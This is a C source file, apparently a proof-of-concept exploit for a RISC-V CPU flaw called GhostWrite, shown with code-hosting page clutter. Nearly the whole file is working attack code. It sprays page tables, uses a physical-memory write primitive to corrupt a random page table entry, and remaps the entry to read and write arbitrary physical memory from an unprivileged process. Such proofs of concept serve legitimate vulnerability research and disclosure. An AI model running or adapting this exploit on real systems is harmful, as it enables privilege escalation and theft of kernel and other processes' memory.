-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
199 lines (159 loc) · 5.69 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#include <stddef.h>
#include <signal.h>
#include <stdint.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <semaphore.h>
#include <stdint.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <elf.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include "ghostwrite.h"
const uint64_t file_size = 0x1 << 21;
const uint64_t data_page_marker = 0xbaadf00ddeadbeef;
// (gdb) monitor info mtree
// 0000000080000000-00000000ffffffff (prio 0, ram): riscv_virt_board.ram
const uint64_t start_dram = 0x80000000;
const uint64_t end_dram = 0x100000000;
const uint64_t vmbase = 0x400000;
const uint64_t child_num = 6;
const uint64_t max_mem_allocated = 0x43000; // tested on qemu ubuntu 22.04
uint64_t fillPageMap(int fd, sem_t* map_finish) {
uint64_t next = vmbase;
uint64_t last = -1;
int error;
for (uint64_t i = 0;; i++) {
uint64_t m = (uint64_t)mmap((void*)next, file_size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED_NOREPLACE, fd, 0);
error = errno;
if (m != next) break;
last = next;
maccess((void*)next);
next += file_size;
}
// if (error) printf("Error: %s\n", strerror(error));
printf("Map finished: From 0x%lx to 0x%lx\n", vmbase, last);
sem_post(map_finish);
return last;
}
int count_child_num() {
FILE* fp = fopen("/proc/meminfo", "r");
char buf[0x80];
fgets(buf, 0x80, fp);
fgets(buf, 0x80, fp);
fgets(buf, 0x80, fp);
assert(strncmp(buf, "MemAvailable:", 13) == 0);
uint64_t MemAvailable;
sscanf(buf+13, "%ld", &MemAvailable);
printf("MemAvailable: %ld\n", MemAvailable);
fclose(fp);
uint64_t child_num = MemAvailable / max_mem_allocated;
return child_num;
}
int main() {
setbuf(stdout, NULL);
srand(time(NULL));
evict_init();
sem_t* map_finish = (sem_t*) mmap(NULL, sizeof(sem_t), PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);
sem_init(map_finish, 1, 0);
sem_t* hijack_finish = (sem_t*) mmap(NULL, sizeof(sem_t), PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);
sem_init(hijack_finish, 1, 0);
sem_t* search_finish = (sem_t*) mmap(NULL, sizeof(sem_t), PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);
sem_init(search_finish, 1, 0);
sem_t* attack_finish = (sem_t*) mmap(NULL, sizeof(sem_t), PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);
sem_init(attack_finish, 1, 0);
uint64_t* target = (uint64_t*) mmap(NULL, sizeof(uint64_t), PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);
uint64_t* found = (uint64_t*) mmap(NULL, sizeof(uint64_t), PROT_READ |PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS, -1, 0);
*found = 0;
/* ******************************************************* */
/* * Step 1: Prepare a file in /dev/shm with page marker * */
/* ******************************************************* */
const char* filename = "/dev/shm/ghostwriter_blob";
int fd = open(filename, O_CREAT | O_RDWR, 0666);
assert(fd != -1);
int ret = ftruncate(fd, file_size);
assert(ret != -1);
uint64_t m = (uint64_t)mmap(NULL, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
assert((void*)m != MAP_FAILED);
for (uint64_t i=0; i<file_size; i+=0x1000) {
*((uint64_t*)(m+i)) = data_page_marker;
}
int res = munmap((void*)m, file_size);
assert(res >= 0);
/* ********************************************************** */
/* * Step 2: fork children to fill the dram with page table * */
/* ********************************************************** */
// child_num = count_child_num();
printf("Child num: %ld\n", child_num);
for (int child = 0; child < child_num; child++) {
pid_t pid = fork();
if (pid == 0) {
// Fill
uint64_t last = fillPageMap(fd, map_finish);
// Search
sem_wait(hijack_finish);
if (*found) {
sem_post(search_finish);
return 0;
}
evict();
for (uint64_t i = vmbase; i < last; i += 0x1000*512) {
if (*((uint64_t*)i) != data_page_marker) {
printf("Found: 0x%lx: 0x%lx\n", i, *((uint64_t*)i));
*found = i;
break;
}
}
sem_post(search_finish);
/* ****************************************************** */
/* * Step 5: Control the PTE to target Physical Address * */
/* ****************************************************** */
uint64_t atk_target = 0x80400000;
uint64_t atk_PTE = ((atk_target>>12)<<10) | 0x57; // Flag: A U X W R V
write_64(*target, atk_PTE);
evict();
printf("Reading 0x%lx: 0x%lx\n", atk_target, *(uint64_t*)(*found));
// char _c_; scanf("%c", &_c_);
sem_post(attack_finish);
return 0;
}
}
for (int i = 0; i < child_num; i++) {
sem_wait(map_finish);
}
/* ******************************************************* */
/* * Step 3: Overwrite a random address (probably a PTE) * */
/* ******************************************************* */
uint64_t two_third_start = start_dram + (end_dram - start_dram) / 3;
*target = ((rand() % (end_dram - two_third_start + 1)) + two_third_start) & ~0x1fff;
printf("Enter to overwrite target: 0x%lx\n", *target);
char _c_; scanf("%c", &_c_);
write_8(*target+1, 0); // 2bits RSW 6bits PPN[0]
/* *********************************************** */
/* * Step 4: Try to find a modified page mapping * */
/* *********************************************** */
for (int i = 0; i < child_num; i++) {
sem_post(hijack_finish);
sem_wait(search_finish);
sleep(1);
}
if (*found == 0) {
printf("Failed to find the target\n");
goto main_end;
}
sem_wait(attack_finish);
main_end:
printf("done\n");
kill(0, SIGKILL);
return 0;
}